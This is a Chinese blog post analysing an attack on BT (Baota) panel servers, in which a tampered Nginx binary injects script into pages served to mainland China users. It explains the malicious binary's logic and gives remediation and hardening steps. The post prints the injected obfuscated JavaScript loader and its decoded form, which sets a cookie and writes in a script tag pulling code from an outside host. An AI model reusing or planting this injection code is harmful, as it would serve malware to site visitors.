宝塔：面板「高危漏洞」 Nginx 挂马事件剖析以及相关的补救措施

最近宝塔面板应该是出现了比较严重的漏洞，被攻击的服务器，Nginx 会自动检测 header 中 accept 字段是否包含 Gzip，如果包含则会想目标页面中，加入一段 JS 引用

深度剖析

JavaScript 代码解析

插入的这段 JS，可以通过解码获得，原文为以下内容：

var _0xd4d9=["x67x65x74x4Dx69x6Ex75x74x65x73","x73x65x74x4Dx69x6Ex75x74x65x73","x63x6Fx6Fx6Bx69x65","x3D","x3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x77x61x66x5Fx73x63","x35x38x38x39x36x34x37x37x32x36","x25x33x43x73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx61x2Ex6Dx73x73x74x61x74x69x63x2Ex6Ex65x74x2Fx6Dx61x69x6Ex33x2Fx63x6Fx6Dx6Dx6Fx6Ex2Fx61x73x73x65x74x73x2Fx74x65x6Dx70x6Cx61x74x65x2Fx68x65x61x64x2Fx61x64x2Ex74x6Dx70x6Cx5Fx61x39x62x37x2Ex6Ax73x27x25x33x45x25x33x43x2Fx73x63x72x69x70x74x25x33x45","x77x72x69x74x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4);
document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8])); 

这段代码中声明了一个长度为 10 的数组，并且包含了关键字符「Write」与 「"%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E"」，通过对它解密后，我们可以得到以下内容：

var _0xd4d9 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E", "write"];
function setc(_0x64d8x2, _0x64d8x3, _0x64d8x4) {
var _0x64d8x5 = new Date();
_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]() + _0x64d8x4);
document[_0xd4d9[2]] = _0x64d8x2 + _0xd4d9[3] + _0x64d8x3 + _0xd4d9[4] + _0x64d8x5[_0xd4d9[5]]()
}
setc(_0xd4d9[6], _0xd4d9[7], 360);
document[_0xd4d9[9]](unescape(_0xd4d9[8])); 

利用document.write，向页面中插入

<script src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'></script>

有趣的是，这段 JS 目前屏蔽了海外访问，我这里使用新加坡代理访问无果，国内正常访问，可见这段代码非常针对国内的用户：

Nginx 感染分析

• 由于目前宝塔官方并没有说明目前宝塔面板是否存在0day漏洞，所以我们只能将目光瞥向 Nginx，我们将这份被感染的 Nginx 文件拖到 IDA 中反编译分析一下。之前有曝光过图，不过我感觉图已经包浆了，所以我们自己进来看一下。
• 我们通过 「ALT + B」搜索关键字符串「systemd-private-56d86f7d8382402517f3b5-jP37xx」，这个文件就是由入侵者所释放的文件，也是上文中「JavaScript 代码解析」 所分析的文件。
• 通过定位，我们大致是来到了这个函数 「__int64 __fastcall sub_4BE051(_QWORD *a1, const char *a2)」

if ( ngx_strcasestrn(v7, "waf_sc=5889647726", 16LL) )
break; 

这里的 “waf_sc”的内容，恰巧就对应了 JavaScript 中的 「_0xd4d9[6]」和 「_0xd4d9[7]」
往下查阅后，我们就能看到以下内容：

if ( a1[99] && a1[98] ) {
	if ( ngx_strcasestrn(a2, "admin", 4LL)
		|| ngx_strcasestrn(a2, "user", 3LL)
		|| ngx_strcasestrn(a2, "manager", 6LL)
		|| ngx_strcasestrn(a2, "api", 2LL)
		|| ngx_strcasestrn(a2, "config", 5LL)
		|| ngx_strcasestrn(a2, "login", 4LL)
		|| ngx_strcasestrn(a2, 7689484LL, 3LL)
		|| ngx_strcasestrn(a2, ".xml", 3LL)
		|| ngx_strcasestrn(a2, ".css", 3LL) ) {
		sprintf(v11, "return 3 url:%s method:%d", a2, a1[122]);
		sub_4BDFE1(v11);
		return 3LL;
	} else {
		v9 = access("/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av", 0);
		result = 6LL;
		if ( v9 != -1 ) {
			v10 = access("/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av", 0) == -1;
			result = 7LL;
			if ( !v10 )
			return 0LL;
		}
	}
} else {
	sub_4BDFE1("return 2");
	return 2LL;
} 

从这里，我们就能很清楚的看到了， 「v9」和 「v10」这两个变量应该就对应了恶意代码，通过 access 方式读入文件，不过按照被感染后的代码逻辑，应该是先判断是否包含以下字符串，没有就输出恶意代码。

• 'admin'
• 'user'
• 'manager'
• 'api'
• 'config'
• 'login'
• '/var/tmp/msglog.txt'
• '.xml'
• '.css'

关于 「ngx_strcasestrn」函数的用法，大家在网上也能够搜得到。
这里判断，我猜测是为了能让网页的 JS 文件能够正常的加载，并且跳转到目标页面，毕竟像这种「api」目录，可能是以application/json 这种形式传递数据。

补救措施

官方还是没有给出相关办法，那就只有看着办了，如果使用了「Nginx」的服务器，建议自查一下 /var/tmp/ 和 /tmp 目录，看下有没有这个 systemd-private-56d86f7d8382402517f3b5-jP37av，有的话请尽快删除，并且修改相关目录的权限。不过有群友反馈，使用 「Apache」也有中招的，但是我并没有了解相关的信息。
宝塔面板的话，/www/server/nginx/sbin，这个目录设置保护，或者修改目录权限，有米的话，可安装 「堡塔企业级防篡改 - 重构版」插件。

注意，本次事件与面板是否是开 xin 版无关，所以各位也就不用去歧视，相反我们应该呼吁官方给出相应的解决方案。
如果对宝塔面板的安全性仍有疑问的话，可采取以下措施：

1. 关闭宝塔面板
2. 开启 BasicAuth 认证
3. 修改面板默认端口，如 7890
4. 添加授权 IP 访问
5. 动态口令认证或者访问设备验证
6. 修改默认安全入口